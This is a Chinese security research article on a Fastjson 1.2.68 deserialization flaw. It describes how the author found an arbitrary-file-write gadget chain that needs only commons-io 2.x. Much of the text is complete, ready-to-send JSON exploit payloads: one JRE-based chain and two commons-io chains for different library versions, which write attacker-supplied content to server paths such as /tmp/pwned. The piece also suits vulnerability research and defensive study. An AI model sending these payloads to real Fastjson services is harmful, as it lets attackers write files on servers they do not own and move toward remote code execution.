本文旨在阐述分析fastjson1.2.68 反序列化漏洞在有commons-io2.x 版本依赖下的任意写文件利用链。
距离 fastjson 1.2.68 autotype bypass 反序列化漏洞曝光(具体漏洞情况请见:漏洞风险提示 | Fastjson 远程代码执行漏洞)到现在已过去正好差不多一年左右的时间,有读者可能好奇我为什么现在才写这篇文章,并不是我想炒冷饭或者故意藏到现在才发出来。它当时刚曝光出来时我也有尝试过寻找其通用的利用链,但分析完漏洞原理后发现这是一件相当麻烦的事情,自觉能力和精力不够也就一度放弃,想伸手当白嫖党。
而这期间始终未曾见到有什么杀伤性特别大的 PoC。杀伤性大就我理解是指漏洞利用无需出网、利用条件少或者极容易满足。当然也许有非常厉害的 PoC 有人在偷偷流传使用,不过都经过两轮 HW 洗礼了,该抓的流量应该早被抓出来曝光了吧。
直到前不久,有同事扔给我看一篇漏洞复现的文章《fastjson v1.2.68 RCE利用链复现》,我才发现这个 JRE 链其实公开的时间已经挺久了,最早由浅蓝在他的博客公开挖掘相关利用链的思路:https://b1ue.cn/archives/382.html
-
http://scz.617.cn:8/web/202008081723.txt -
http://scz.617.cn:8/web/202008100900.txt -
http://scz.617.cn:8/web/202008111715.txt
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
直到近段时间我重新仔细审视了下这些利用链构造的相关文章,我才发现了一些之前在尝试寻找利用链时所忽视的问题,也因此有了一些新的发现,找到一个仅需依赖commons-io2.x 版本即可任意写文件的利用链。而我的这些发现也是基于各位同仁的成果之上,故写作此文将其公开、大家互相交流学习进步。
{
"x":{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":{
"@type":"java.util.zip.InflaterOutputStream",
"out":{
"@type":"java.io.FileOutputStream",
"file":"/tmp/dest.txt",
"append":false
},
"infl":{
"input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen":1048576
},
"protocolVersion":1
}
}
注:此 PoC 在更高版本的 JRE 下也有变种,不过实际环境中几乎不怎么碰到 8 以上的版本,所以这里只讨论 JRE 8 版本。
sun.rmi.server.MarshalOutputStream、java.util.zip.InflaterOutputStream 以及 java.io.FileOutputStream 均是基于带参数的构造函数进行构建。
fastjson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可:
......
boolean is_public = (constructor.getModifiers() & 1) != 0;
if (is_public) {
String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);
if (lookupParameterNames != null && lookupParameterNames.length != 0 && (creatorConstructor == null || paramNames == null || lookupParameterNames.length > paramNames.length)) {
paramNames = lookupParameterNames;
creatorConstructor = constructor;
}
}
......
javap -l <class_name> | grep LocalVariableTable
需要一个通过 set 方法或构造方法指定文件路径的 OutputStream;
需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream;
需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 flush 方法;
以上三个组合在一起就能构造成一个写文件的利用链。
由于大部分 JDK/JRE 环境的类字节码里都不含有 LocalVariableTable,而我注意到很多第三方库里的字节码是有 LocalVariableTable 的。因此我把目光转向 maven 使用量 top100 的第三方库,寻找其中所有实现 java.lang.AutoCloseable 接口的、同时保留有 LocalVariableTable 调试信息的类,并按照 fastjson 1.2.68 的黑名单进行筛选去除。
经过一番漫长的探索后,出于以下几个考虑,我最终决定把目光集中在 commons-io 库中:
-
commons-io 库是非常常见的第三方库
-
commons-io 库里的类字节码带有LocalVariableTable 调试信息 -
commons-io 库里几乎没有类在 fastjson 黑名单中 -
commons-io 库里基本都是跟 io 相关的类,跟 AutoCloseable 关联性比较强,可探索的地方很多
最终如愿以偿,成功找到一条新的写文件的链。
接下来先按照利用链的组成对核心类做一个简要的分析,环境以 fastjson 1.2.68、commons-io 2.5 为例。
public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding) throws IOException {
this.defaultEncoding = defaultEncoding;
BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS);
BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);
this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient);
this.reader = new InputStreamReader(pis, this.encoding);
XmlStreamReader.<init>(InputStream, String, boolean, String)
-> XmlStreamReader.doHttpStream(BOMInputStream, BOMInputStream, String, boolean)
-> BOMInputStream.getBOMCharsetName()
-> BOMInputStream.getBOM()
-> BufferedInputStream.read()
-> BufferedInputStream.fill()
-> InputStream.read(byte[], int, int)
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
},
"charsetName":"UTF-8",
"bufferSize":1024
}
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
commons-io 利用链PoC
commons-io 2.0 – 2.6 版本:
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
浅蓝的文章以及和他私下的交流对我挖掘利用链的过程起到了很大的帮助,沈沉舟和 Rmb122 的文章以及发现成果也纠正了我之前一些对 fastjson 的认知误区,很有帮助。在此感谢各位。
-
https://b1ue.cn/archives/382.html
-
http://scz.617.cn:8/web/202008081723.txt -
http://scz.617.cn:8/web/202008100900.txt
-
http://scz.617.cn:8/web/202008111715.txt
-
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
-
https://mp.weixin.qq.com/s/HMlaMPn4LK3GMs3RvK6ZRA
-
https://stackoverflow.com/questions/1508235/determine-whether-class-file-was-compiled-with-debug-info/1508403
-
https://github.com/LeadroyaL/fastjson-blacklist
-
https://github.com/alibaba/fastjson/wiki/%E5%BE%AA%E7%8E%AF%E5%BC%95%E7%94%A8
原文始发于微信公众号(长亭技术沙盒):Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析